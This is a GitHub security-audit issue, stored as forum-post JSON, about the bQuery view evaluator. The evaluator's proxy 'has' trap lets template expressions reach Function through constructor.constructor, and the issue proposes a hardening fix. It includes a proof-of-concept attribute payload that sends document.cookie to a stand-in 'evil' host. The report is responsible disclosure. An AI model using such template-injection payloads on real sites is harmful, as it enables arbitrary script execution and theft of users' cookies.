René's URL Explorer Experiment

{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"[Medium][view] Runtime evaluator proxy has-trap resolves inherited props → constructor.constructor reachable","articleBody":"## Severity: 🟡 Medium (hardening; documented threat model treats template expressions as trusted)\n\n## Location\n[`src/view/evaluate.ts:152-158`](../blob/main/src/view/evaluate.ts#L152-L158) (proxy `has` trap), sinks at `:192` (`evaluate`) and `:225` (`evaluateRaw`).\n\n## Description\n`evaluate`/`evaluateRaw` compile `new Function('$ctx', 'with($ctx){ return (' + expression + '); }')`. Because `with` resolves names via `[[HasProperty]]`, and the lazy proxy's `has` trap returns `prop in target` (true for inherited `Object.prototype` members), an expression never needs anything in the context to escape:\n\n```\nbq-text=\"constructor.constructor('fetch(`//evil/?c=`+document.cookie)')()\"\n```\nresolves `constructor` off the context's prototype chain, reaches `Function`, and runs arbitrary JS. Any app that mounts DOM whose `bq-*` attributes are influenced by external input (CMS content, an API returning markup later passed to `createTemplate`/`mount`, or `innerHTML` + mount) has full RCE, not just HTML injection.\n\nThis is documented as \"equivalent to `eval()`\", but the docs frame it as \"similar to Vue/Alpine\"; the `constructor.constructor` reachability via the permissive `has` trap is worth calling out and hardening.\n\n## Suggested fix\nHarden the proxy `has` trap so inherited members do not resolve from the context object:\n```ts\nhas(target, prop) {\n  if (typeof prop !== 'string') return Reflect.has(target, prop);\n  return Object.prototype.hasOwnProperty.call(target, prop);\n}\n```\nNote this only covers `evaluate` (which uses the proxy); `evaluateRaw` runs `with(context)` on the raw object, so also consider blocking `constructor`/`__proto__`/`prototype` member access in the compiler and steering security-sensitive users to the AOT compiler build (CSP-`unsafe-eval`-free). See also the compiler-side hardening in the related \"emit `.constructor` chains\" issue.\n\n---\n_Filed as part of a full-codebase security \u0026 correctness audit._\n","author":{"url":"https://github.com/JosunLP","@type":"Person","name":"JosunLP"},"datePublished":"2026-07-05T17:03:11.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":0},"url":"https://github.com/168/bQuery/issues/168"}